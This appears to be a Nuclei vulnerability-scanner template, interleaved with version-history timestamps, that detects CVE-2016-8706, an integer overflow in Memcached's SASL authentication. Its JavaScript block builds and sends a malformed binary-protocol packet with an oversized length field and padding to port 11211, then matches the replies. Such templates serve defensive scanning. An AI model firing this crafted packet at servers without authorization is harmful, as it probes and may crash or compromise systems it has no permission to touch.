2023-10-30 13:36:00 +05:30
id : CVE-2016-8706
2023-11-13 16:03:23 +05:30
2023-10-30 13:36:00 +05:30
info :
2023-11-14 11:23:08 +05:30
name : Memcached Server SASL Authentication - Remote Code Execution
2023-10-30 13:36:00 +05:30
author : pussycat0x
severity : high
2023-11-13 16:03:23 +05:30
description : |
2023-11-20 06:35:10 +00:00
An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.
2023-10-30 13:36:00 +05:30
reference :
- https://github.com/Medicean/VulApps/blob/master/m/memcached/cve-2016-8706/poc.py
- https://nvd.nist.gov/vuln/detail/CVE-2016-8706
2023-11-20 06:35:10 +00:00
- http://rhn.redhat.com/errata/RHSA-2016-2819.html
- http://www.debian.org/security/2016/dsa-3704
- http://www.securitytracker.com/id/1037333
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.1
cve-id : CVE-2016-8706
cwe-id : CWE-190
2023-12-12 11:07:52 +00:00
epss-score : 0.91612
2024-01-29 17:11:14 +00:00
epss-percentile : 0.98696
2023-11-20 06:35:10 +00:00
cpe : cpe:2.3:a:memcached:memcached:*:*:*:*:*:*:*:*
2023-10-30 13:36:00 +05:30
metadata :
2023-11-20 06:35:10 +00:00
max-request : 1
vendor : memcached
product : memcached
2023-11-13 16:03:23 +05:30
verfied : true
2023-10-30 13:36:00 +05:30
tags : cve,cve2016,rce,js,memcached
javascript :
- code : |
let packet = bytes.NewBuffer();
packet.Write(new Uint8Array([0x80, 0x21]))
let cmd = 'stats'
packet.WriteString(cmd)
packet.Pack("!H", [32]);
packet.Pack("!I", [1]);
let buzz = Array(1000).fill("A").join('');
packet.WriteString(buzz)
const c = require("nuclei/net");
let conn = c.Open('tcp', `${Host}:${Port}`);
conn.SendHex(packet.Hex());
conn.RecvString();
args :
Host : "{{Host}}"
Port : 11211
matchers-condition : and
matchers :
- type : word
words :
- "Invalid arguments"
- type : word
words :
- "Auth failure"
negative : true
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022046d7980adf7f0cd1a7b30987df5d99e9684f499fb16e24ec91423bd295ac5ba9022100b32f5023a8fb58b1384a6ba051a7b27cb6f526e58288f358f133de0857fc87c9:922c64590222798bb761d5b6d8e72950